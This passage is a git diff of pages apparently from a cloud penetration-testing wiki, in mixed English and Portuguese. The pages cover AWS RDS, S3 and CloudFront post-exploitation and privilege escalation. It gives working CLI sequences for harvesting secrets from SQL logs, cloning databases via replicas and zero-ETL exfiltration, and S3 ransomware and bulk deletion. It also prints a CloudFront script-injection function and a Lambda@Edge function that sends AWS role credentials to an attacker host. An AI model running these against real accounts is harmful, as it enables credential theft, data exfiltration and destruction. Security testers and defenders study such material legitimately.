- `rds:ModifyDBInstance` (only to attach a custom parameter group if the instance is using the default one)
|
||||
- `rds:RebootDBInstance` (for parameters requiring reboot, e.g., PostgreSQL)
|
||||
- `rds:ModifyDBInstance` (apenas para anexar um custom parameter group se a instância estiver usando o default)
|
||||
- `rds:RebootDBInstance` (para parâmetros que exigem reboot, e.g., PostgreSQL)
|
||||
|
||||
Passos
|
||||
1) Recon target and current parameter group
|
||||
1) Fazer recon do target e do grupo de parâmetros atual
|
||||
```bash
|
||||
aws rds describe-db-instances \
|
||||
--query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
|
||||
--output table
|
||||
```
|
||||
2) Garanta que um DB parameter group customizado esteja anexado (não é possível editar o padrão)
|
||||
- Se a instância já utiliza um grupo customizado, reutilize seu nome na próxima etapa.
|
||||
- Caso contrário, crie e anexe um compatível com a engine family:
|
||||
2) Garanta que um custom DB parameter group esteja anexado (não é possível editar o padrão)
|
||||
- Se a instância já usa um grupo customizado, reutilize seu nome na próxima etapa.
|
||||
- Caso contrário, crie e anexe um que corresponda à engine family:
|
||||
```bash
|
||||
# Example for PostgreSQL 16
|
||||
aws rds create-db-parameter-group \
|
||||
@@ -196,8 +232,8 @@ aws rds modify-db-instance \
|
||||
--apply-immediately
|
||||
# Wait until status becomes "available"
|
||||
```
|
||||
3) Habilitar registro SQL detalhado
|
||||
- MySQL engines (imediato / sem reinicialização):
|
||||
3) Habilitar log SQL detalhado
|
||||
- MySQL engines (imediato / sem reinício):
|
||||
```bash
|
||||
aws rds modify-db-parameter-group \
|
||||
--db-parameter-group-name <PGNAME> \
|
||||
@@ -220,7 +256,7 @@ aws rds modify-db-parameter-group \
|
||||
# Reboot if any parameter is pending-reboot
|
||||
aws rds reboot-db-instance --db-instance-identifier <DB>
|
||||
```
|
||||
4) Deixe a carga de trabalho rodar (ou gere consultas). As instruções serão gravadas nos arquivos de log do engine
|
||||
4) Deixe a carga de trabalho rodar (ou gere consultas). As instruções SQL serão gravadas nos logs de arquivo do engine
|
||||
- MySQL: `general/mysql-general.log`
|
||||
- PostgreSQL: `postgresql.log`
|
||||
|
||||
@@ -239,7 +275,7 @@ aws rds download-db-log-file-portion \
|
||||
```bash
|
||||
grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
|
||||
```
|
||||
Exemplo de evidência (redigida):
|
||||
Exemplo de evidência (redigido):
|
||||
```text
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
|
||||
2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
|
||||
@@ -261,19 +297,19 @@ aws rds modify-db-parameter-group \
|
||||
"ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
|
||||
# Reboot if pending-reboot
|
||||
```
|
||||
Impacto: Post-exploitation acesso a dados ao capturar todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs, and PII.
|
||||
Impacto: Post-exploitation acesso a dados capturando todas as instruções SQL da aplicação via AWS APIs (no DB creds), potencialmente leaking secrets, JWTs e PII.
|
||||
|
||||
### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
|
||||
|
||||
Abuse RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, resetar a master password da réplica (isso não altera a primária) e, opcionalmente, expor a réplica publicamente para exfiltrate data.
|
||||
Abusar de RDS read replicas para obter acesso de leitura out-of-band sem tocar nas credenciais da instância primária. Um atacante pode criar uma read replica a partir de uma instância de produção, redefinir a senha master da read replica (isso não altera a instância primária) e, opcionalmente, expor a read replica publicamente para exfiltrar dados.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
Permissões necessárias (mínimas):
|
||||
- `rds:DescribeDBInstances`
|
||||
- `rds:CreateDBInstanceReadReplica`
|
||||
- `rds:ModifyDBInstance`
|
||||
- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
|
||||
|
||||
Impacto: Acesso read-only aos dados de produção via uma réplica com credenciais controladas pelo atacante; menor probabilidade de detecção, já que a primária permanece intocada e a replicação continua.
|
||||
Impacto: Acesso somente-leitura aos dados de produção via uma read replica com credenciais controladas pelo atacante; menor probabilidade de detecção, pois a instância primária permanece intocada e a replicação continua.
|
||||
```bash
|
||||
# 1) Recon: find non-Aurora sources with backups enabled
|
||||
aws rds describe-db-instances \
|
||||
@@ -305,8 +341,8 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier <REPL_ID>
|
||||
# aws rds promote-read-replica --db-instance-identifier <REPL_ID>
|
||||
```
|
||||
Exemplo de evidência (MySQL):
|
||||
- Replica DB status: `available`, read replication: `replicating`
|
||||
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de réplica somente leitura.
|
||||
- Status da réplica DB: `available`, replicação de leitura: `replicating`
|
||||
- Conexão bem-sucedida com a nova senha e `@@read_only=1` confirmando acesso de somente leitura à réplica.
|
||||
|
||||
### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`
|
||||
|
||||
@@ -357,19 +393,18 @@ aws rds delete-blue-green-deployment \
|
||||
--blue-green-deployment-identifier <BGD_ID> \
|
||||
--delete-target true
|
||||
```
|
||||
Impacto: Acesso somente leitura, mas com acesso completo aos dados de uma cópia quase em tempo real da produção sem modificar a instância de produção. Útil para extração de dados furtiva e análise offline.
|
||||
Impacto: Acesso somente leitura, mas com dados completos de um clone quase em tempo real da produção sem modificar a instância de produção. Útil para extração de dados furtiva e análise offline.
|
||||
|
||||
### Out-of-band SQL via RDS Data API by enabling HTTP endpoint + resetting master password
|
||||
|
||||
### SQL fora de banda via RDS Data API ativando HTTP endpoint + redefinindo a senha master
|
||||
|
||||
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, redefinir a senha master para um valor que você controla e executar SQL via HTTPS (não é necessário caminho de rede VPC). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (por exemplo, Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
Abuse Aurora para habilitar o HTTP endpoint do RDS Data API em um cluster alvo, redefinir a senha mestre para um valor que você controla e executar SQL via HTTPS (nenhum caminho de rede VPC é necessário). Funciona em engines Aurora que suportam o Data API/EnableHttpEndpoint (p.ex., Aurora MySQL 8.0 provisioned; algumas versões do Aurora PostgreSQL/MySQL).
|
||||
|
||||
Permissões (mínimas):
|
||||
- rds:DescribeDBClusters, rds:ModifyDBCluster (ou rds:EnableHttpEndpoint)
|
||||
- secretsmanager:CreateSecret
|
||||
- rds-data:ExecuteStatement (e rds-data:BatchExecuteStatement se usado)
|
||||
|
||||
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao banco de dados.
|
||||
Impacto: Contornar a segmentação de rede e exfiltrar dados via AWS APIs sem conectividade VPC direta ao DB.
|
||||
|
||||
<details>
|
||||
<summary>CLI de ponta a ponta (exemplo Aurora MySQL)</summary>
|
||||
@@ -425,21 +460,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
|
||||
</details>
|
||||
|
||||
Notas:
|
||||
- Se multi-statement SQL for rejeitado por rds-data, emita chamadas execute-statement separadas.
|
||||
- Se SQL com múltiplas instruções for rejeitado pelo rds-data, envie chamadas execute-statement separadas.
|
||||
- Para engines onde modify-db-cluster --enable-http-endpoint não tem efeito, use rds enable-http-endpoint --resource-arn.
|
||||
- Garanta que o engine/versão realmente suporte o Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
- Verifique se o engine/versão realmente suporta a Data API; caso contrário HttpEndpointEnabled permanecerá False.
|
||||
|
||||
|
||||
### Coletar credenciais do DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
### Coletar credenciais de DB via segredos de autenticação do RDS Proxy (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`)
|
||||
|
||||
Abuse da configuração do RDS Proxy para descobrir o Secret do Secrets Manager usado para autenticação do backend, e então leia o Secret para obter as credenciais do banco de dados. Muitos ambientes concedem amplamente `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para credenciais do DB. Se o Secret usar uma CMK, permissões KMS mal escopadas também podem permitir `kms:Decrypt`.
|
||||
Abusar da configuração do RDS Proxy para descobrir o segredo do Secrets Manager usado para autenticação do backend e, em seguida, ler o segredo para obter as credenciais do banco de dados. Muitos ambientes concedem permissões amplas `secretsmanager:GetSecretValue`, tornando isso um pivot de baixa fricção para as credenciais do DB. Se o segredo usa uma CMK, permissões KMS mal configuradas também podem permitir `kms:Decrypt`.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
- `rds:DescribeDBProxies`
|
||||
- `secretsmanager:GetSecretValue` no SecretArn referenciado
|
||||
- Opcional quando o Secret usar uma CMK: `kms:Decrypt` nessa chave
|
||||
- Opcional quando o segredo usa uma CMK: `kms:Decrypt` nessa chave
|
||||
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; permite acesso direto ao DB ou movimento lateral adicional.
|
||||
Impacto: Divulgação imediata do nome de usuário/senha do DB configurado no proxy; possibilita acesso direto ao DB ou movimentação lateral adicional.
|
||||
|
||||
Passos
|
||||
```bash
|
||||
@@ -454,7 +489,7 @@ aws secretsmanager get-secret-value \
|
||||
--query SecretString --output text
|
||||
# Example output: {"username":"admin","password":"S3cr3t!"}
|
||||
```
|
||||
Laboratório (mínimo para reproduzir)
|
||||
Lab (mínimo para reproduzir)
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
@@ -480,15 +515,15 @@ aws iam detach-role-policy --role-name rds-proxy-secret-role --policy-arn arn:aw
|
||||
aws iam delete-role --role-name rds-proxy-secret-role
|
||||
aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delete-without-recovery
|
||||
```
|
||||
### Exfiltração contínua furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
### Exfiltração contínua e furtiva via Aurora zero‑ETL para Amazon Redshift (rds:CreateIntegration)
|
||||
|
||||
Explorar a integração Aurora PostgreSQL zero‑ETL para replicar continuamente dados de produção para um namespace Redshift Serverless que você controla. Com uma política de recurso Redshift permissiva que autoriza CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem DB creds, snapshots ou exposição de rede.
|
||||
Abusar da integração Aurora PostgreSQL zero‑ETL para replicar continuamente dados de produção em um namespace Redshift Serverless que você controla. Com uma resource policy do Redshift permissiva que autorize CreateInboundIntegration/AuthorizeInboundIntegration para um ARN de cluster Aurora específico, um atacante pode estabelecer uma cópia de dados quase em tempo real sem credenciais do DB, snapshots ou exposição de rede.
|
||||
|
||||
Permissões necessárias (mínimo):
|
||||
Permissões necessárias (mínimas):
|
||||
- `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration`
|
||||
- `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations`
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (to query)
|
||||
- `rds-data:ExecuteStatement` (optional; to seed data if needed)
|
||||
- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (para consultar)
|
||||
- `rds-data:ExecuteStatement` (opcional; para semear dados se necessário)
|
||||
|
||||
Testado em: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
|
||||
|
||||
@@ -509,7 +544,7 @@ aws redshift-serverless update-workgroup --region $REGION --workgroup-name ztl-w
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>2) Configurar a política de recursos do Redshift para permitir a origem do Aurora</summary>
|
||||
<summary>2) Configure a política de recursos do Redshift para permitir a origem Aurora</summary>
|
||||
```bash
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
SRC_ARN=<AURORA_CLUSTER_ARN>
|
||||
@@ -540,7 +575,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>3) Criar Aurora PostgreSQL cluster (habilitar Data API e replicação lógica)</summary>
|
||||
<summary>3) Criar cluster Aurora PostgreSQL (habilitar Data API e replicação lógica)</summary>
|
||||
```bash
|
||||
CLUSTER_ID=aurora-ztl
|
||||
aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \
|
||||
@@ -571,7 +606,7 @@ SRC_ARN=$(aws rds describe-db-clusters --region $REGION --db-cluster-identifier
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>4) Criar a integração zero‑ETL a partir do RDS</summary>
|
||||
<summary>4) Criar a integração zero‑ETL do RDS</summary>
|
||||
```bash
|
||||
# Include all tables in the default 'postgres' database
|
||||
aws rds create-integration --region $REGION --source-arn "$SRC_ARN" \
|
||||
@@ -597,11 +632,11 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d
|
||||
</details>
|
||||
|
||||
Evidências observadas no teste:
|
||||
- redshift describe-inbound-integrations: Status ACTIVE para Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e estado PendingDbConnectState antes da criação do DB.
|
||||
- Após CREATE DATABASE FROM INTEGRATION, listar tabelas revelou schema ztl e tabela customers; a seleção de ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
- redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-...
|
||||
- SVV_INTEGRATION mostrou integration_id 377a462b-c42c-4f08-937b-77fe75d98211 e state PendingDbConnectState antes da criação do DB.
|
||||
- Após CREATE DATABASE FROM INTEGRATION, a listagem de tabelas revelou o schema ztl e a tabela customers; a consulta em ztl.customers retornou 2 linhas (Alice, Bob).
|
||||
|
||||
Impacto: Exfiltração contínua quase em tempo real de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
Impacto: Exfiltration contínua near‑real‑time de tabelas selecionadas do Aurora PostgreSQL para Redshift Serverless controlado pelo atacante, sem usar credenciais de banco de dados, backups ou acesso de rede ao cluster de origem.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,38 +1,69 @@
|
||||
# AWS - S3 Pós-Exploração
|
||||
# AWS - S3 Post Exploitation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## S3
|
||||
|
||||
Para mais informações consulte:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-s3-athena-and-glacier-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Informações Sensíveis
|
||||
### Sensitive Information
|
||||
|
||||
Às vezes é possível encontrar informações sensíveis legíveis nos buckets. Por exemplo, terraform state secrets.
|
||||
Às vezes você poderá encontrar informações sensíveis legíveis nos buckets. Por exemplo, segredos do terraform state.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Diferentes plataformas podem usar S3 para armazenar ativos sensíveis.\
|
||||
Por exemplo, **airflow** pode estar armazenando **DAGs** **code** lá, ou **web pages** podem ser servidas diretamente a partir do S3. Um atacante com permissões de escrita poderia **modify the code** no bucket para **pivot** para outras plataformas, ou **takeover accounts** modificando arquivos JS.
|
||||
Different platforms could be using S3 to store sensitive assets.\
|
||||
For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. An attacker with write permissions could **modify the code** from the bucket to **pivot** to other platforms, or **takeover accounts** modifying JS files.
|
||||
|
||||
### S3 Ransomware
|
||||
|
||||
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, ele torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, role, ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
|
||||
In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted.
|
||||
|
||||
O atacante identifica um bucket alvo e obtém acesso de escrita a ele usando vários métodos. Isso pode ocorrer devido a uma configuração inadequada do bucket que o expõe publicamente ou porque o atacante obteve acesso ao próprio ambiente AWS. O atacante normalmente mira em buckets que contêm informações sensíveis como personally identifiable information (PII), protected health information (PHI), logs, backups, e mais.
|
||||
The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more.
|
||||
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **multi-factor authentication delete (MFA delete) está habilitado**. Se Object Versioning não estiver habilitado, o atacante pode prosseguir. Se Object Versioning estiver habilitado mas MFA delete estiver desabilitado, o atacante pode **desabilitar Object Versioning**. Se tanto Object Versioning quanto MFA delete estiverem habilitados, torna-se mais difícil para o atacante realizar ransomware naquele bucket específico.
|
||||
To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket.
|
||||
|
||||
Usando a AWS API, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
|
||||
Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key.
|
||||
|
||||
Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
|
||||
To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost.
|
||||
|
||||
Finalmente, o atacante pode enviar um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
|
||||
Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack.
|
||||
|
||||
### `s3:RestoreObject`
|
||||
|
||||
An attacker with the s3:RestoreObject permission can reactivate objects archived in Glacier or Deep Archive, making them temporarily accessible. This enables recovery and exfiltration of historically archived data (backups, snapshots, logs, certifications, old secrets) that would normally be out of reach. If the attacker combines this permission with read permissions (e.g., s3:GetObject), they can obtain full copies of sensitive data.
|
||||
```bash
|
||||
aws s3api restore-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--restore-request '{
|
||||
"Days": <NUMBER_OF_DAYS>,
|
||||
"GlacierJobParameters": { "Tier": "Standard" }
|
||||
}'
|
||||
```
|
||||
### `s3:Delete*`
|
||||
|
||||
Um atacante com a permissão s3:Delete* pode excluir objects, versions e buckets inteiros, interromper backups e causar perda de dados imediata e irreversível, destruição de evidências e comprometimento de artefatos de backup ou de recuperação.
|
||||
```bash
|
||||
# Delete an object from a bucket
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY>
|
||||
|
||||
# Delete a specific version
|
||||
aws s3api delete-object \
|
||||
--bucket <BUCKET_NAME> \
|
||||
--key <OBJECT_KEY> \
|
||||
--version-id <VERSION_ID>
|
||||
|
||||
# Delete a bucket
|
||||
aws s3api delete-bucket \
|
||||
--bucket <BUCKET_NAME>
|
||||
```
|
||||
**Para mais informações** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,217 @@
|
||||
# AWS - CloudFront Privesc
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFront
|
||||
|
||||
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
|
||||
|
||||
Um atacante que possui as permissões cloudfront:UpdateDistribution e cloudfront:GetDistributionConfig pode modificar a configuração de uma distribuição do CloudFront. O atacante não precisa de permissões no bucket S3 alvo em si, embora o ataque seja mais fácil se esse bucket tiver uma política permissiva que permita acesso do principal de serviço cloudfront.amazonaws.com.
|
||||
|
||||
O atacante altera a configuração de origem da distribuição para apontar para outro bucket S3 ou para um servidor controlado pelo atacante. Primeiro ele obtém a configuração atual da distribuição:
|
||||
```bash
|
||||
aws cloudfront get-distribution-config --id <distribution-id> | jq '.DistributionConfig' > current-config.json
|
||||
```
|
||||
Então eles editam current-config.json para apontar a origem para o novo recurso — por exemplo, um bucket S3 diferente:
|
||||
```bash
|
||||
...
|
||||
"Origins": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"Id": "<origin-id>",
|
||||
"DomainName": "<new-bucket>.s3.us-east-1.amazonaws.com",
|
||||
"OriginPath": "",
|
||||
"CustomHeaders": {
|
||||
"Quantity": 0
|
||||
},
|
||||
"S3OriginConfig": {
|
||||
"OriginAccessIdentity": "",
|
||||
"OriginReadTimeout": 30
|
||||
},
|
||||
"ConnectionAttempts": 3,
|
||||
"ConnectionTimeout": 10,
|
||||
"OriginShield": {
|
||||
"Enabled": false
|
||||
},
|
||||
"OriginAccessControlId": "E30N32Y4IBZ971"
|
||||
}
|
||||
]
|
||||
},
|
||||
...
|
||||
```
|
||||
Finalmente, aplique a configuração modificada (você deve fornecer o ETag atual ao atualizar):
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
|
||||
An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
|
||||
|
||||
The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
|
||||
|
||||
```bash
|
||||
function handler(event) {
|
||||
var request = event.request;
|
||||
var response = event.response;
|
||||
// Create a new body with malicious JavaScript
|
||||
var maliciousBody = `
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Compromised Page</title>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Original Content</h1>
|
||||
<p>This page has been modified by CloudFront Functions</p>
|
||||
<script>
|
||||
// Malicious JavaScript
|
||||
alert('CloudFront Function Code Injection Successful!');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
`;
|
||||
// Replace the body entirely
|
||||
response.body = { encoding: "text", data: maliciousBody };
|
||||
// Update headers
|
||||
response.headers["content-type"] = { value: "text/html; charset=utf-8" };
|
||||
response.headers["content-length"] = {
|
||||
value: maliciousBody.length.toString(),
|
||||
};
|
||||
response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
|
||||
return response;
|
||||
}
|
||||
```
|
||||
|
||||
Commands to create, publish and attach the function:
|
||||
|
||||
```bash
|
||||
# Criar a função maliciosa no CloudFront
|
||||
aws cloudfront create-function --name malicious-function --function-config '{
|
||||
"Comment": "Malicious CloudFront Function for Code Injection",
|
||||
"Runtime": "cloudfront-js-1.0"
|
||||
}' --function-code fileb://malicious-function.js
|
||||
|
||||
# Obter o ETag da função no estágio DEVELOPMENT
|
||||
aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
|
||||
|
||||
# Publicar a função no estágio LIVE
|
||||
aws cloudfront publish-function --name malicious-function --if-match <etag>
|
||||
```
|
||||
|
||||
Add the function to the distribution configuration (FunctionAssociations):
|
||||
|
||||
```bash
|
||||
"FunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"FunctionARN": "arn:aws:cloudfront::<account-id>:function/malicious-function",
|
||||
"EventType": "viewer-response"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Finally update the distribution configuration (remember to supply the current ETag):
|
||||
|
||||
```bash
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution --id <distribution-id> --distribution-config file://current-config.json --if-match $CURRENT_ETAG
|
||||
```
|
||||
|
||||
### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
|
||||
|
||||
An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
|
||||
|
||||
The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
|
||||
|
||||
```bash
|
||||
// malicious-lambda-edge.js
|
||||
exports.handler = async (event) => {
|
||||
// Obtain role credentials
|
||||
const credentials = {
|
||||
accessKeyId: process.env.AWS_ACCESS_KEY_ID,
|
||||
secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
|
||||
sessionToken: process.env.AWS_SESSION_TOKEN,
|
||||
};
|
||||
// Send credentials to attacker's server
|
||||
try {
|
||||
await fetch("https://<attacker-ip>/steal-credentials", {
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify(credentials)
|
||||
});
|
||||
} catch (error) {
|
||||
console.error("Error sending credentials:", error);
|
||||
}
|
||||
if (event.Records && event.Records[0] && event.Records[0].cf) {
|
||||
// Modify response headers
|
||||
const response = event.Records[0].cf.response;
|
||||
response.headers["x-credential-theft"] = [
|
||||
{
|
||||
key: "X-Credential-Theft",
|
||||
value: "Successful",
|
||||
},
|
||||
];
|
||||
return response;
|
||||
}
|
||||
return {
|
||||
statusCode: 200,
|
||||
body: JSON.stringify({ message: "Credentials stolen" })
|
||||
};
|
||||
};
|
||||
```
|
||||
|
||||
```bash
|
||||
# Empacotar a função Lambda@Edge
|
||||
zip malicious-lambda-edge.zip malicious-lambda-edge.js
|
||||
|
||||
# Criar a função Lambda@Edge com um papel privilegiado
|
||||
aws lambda create-function \
|
||||
--function-name malicious-lambda-edge \
|
||||
--runtime nodejs18.x \
|
||||
--role <privileged-role-arn> \
|
||||
--handler malicious-lambda-edge.handler \
|
||||
--zip-file fileb://malicious-lambda-edge.zip \
|
||||
--region <region>
|
||||
|
||||
# Publicar uma versão da função
|
||||
aws lambda publish-version --function-name malicious-lambda-edge --region <region>
|
||||
```
|
||||
|
||||
Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
|
||||
|
||||
```bash
|
||||
"LambdaFunctionAssociations": {
|
||||
"Quantity": 1,
|
||||
"Items": [
|
||||
{
|
||||
"LambdaFunctionARN": "arn:aws:lambda:us-east-1:<account-id>:function:malicious-lambda-edge:1",
|
||||
"EventType": "viewer-response",
|
||||
"IncludeBody": false
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# Aplicar a configuração atualizada da distribuição (deve usar o ETag atual)
|
||||
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id <distribution-id> --query 'ETag' --output text)
|
||||
|
||||
aws cloudfront update-distribution \
|
||||
--id <distribution-id> \
|
||||
--distribution-config file://current-config.json \
|
||||
--if-match $CURRENT_ETAG
|
||||
|
||||
# Acionar a função fazendo uma requisição à distribuição
|
||||
curl -v https://<distribution-domain>.cloudfront.net/
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
Para mais **informações sobre EC2** confira:
|
||||
Para mais **informações sobre EC2** consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,19 +12,19 @@ Para mais **informações sobre EC2** confira:
|
||||
|
||||
### `iam:PassRole`, `ec2:RunInstances`
|
||||
|
||||
Um atacante poderia **criar uma instância anexando um IAM role e então acessar a instância** para roubar as credenciais do IAM role a partir do metadata endpoint.
|
||||
Um atacante poderia **criar uma instância anexando uma role IAM e então acessar a instância** para roubar as credenciais da role IAM do endpoint de metadata.
|
||||
|
||||
- **Acesso via SSH**
|
||||
|
||||
Inicie uma nova instância usando uma **ssh key** criada (`--key-name`) e depois conecte-se via ssh a ela (se quiser criar uma nova você pode precisar da permissão `ec2:CreateKeyPair`).
|
